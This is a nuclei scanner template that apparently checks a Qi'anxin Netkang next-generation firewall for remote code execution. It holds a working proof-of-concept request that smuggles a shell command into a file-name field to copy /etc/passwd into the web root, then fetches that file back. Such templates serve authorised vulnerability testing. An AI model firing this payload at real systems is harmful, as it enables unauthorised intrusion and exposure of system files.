nuclei-templates/vulnerabilities/other/qi-anxin-netkang-next-gener...

34 lines
1.0 KiB
YAML

id: qi-anxin-netkang-next-generation-firewall-rce
info:
name: Qi'anxin Netkang Next Generation Firewall RCE
author: pikpikcu
severity: critical
reference: https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
tags: rce
requests:
- raw:
- |
POST /directdata/direct/router HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 178
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/poc.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
- |
GET /poc.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
part: body
- type: status
status:
- 200